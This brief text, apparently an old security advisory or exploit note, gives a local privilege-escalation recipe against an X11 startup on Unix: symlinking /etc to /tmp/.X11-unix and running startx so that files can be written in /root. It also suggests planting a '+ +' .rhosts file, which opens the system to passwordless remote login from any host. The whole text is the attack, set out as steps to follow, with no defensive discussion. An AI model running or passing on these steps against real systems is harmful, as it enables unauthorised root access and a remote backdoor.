Exploit:

        telnetd ~$ ln -s /etc /tmp/.X11-unix
        telnetd ~$ startx


  You'll be able to write new files to /root but not to
  overright or change files. Also, you can make a "+ +"
  .rhosts.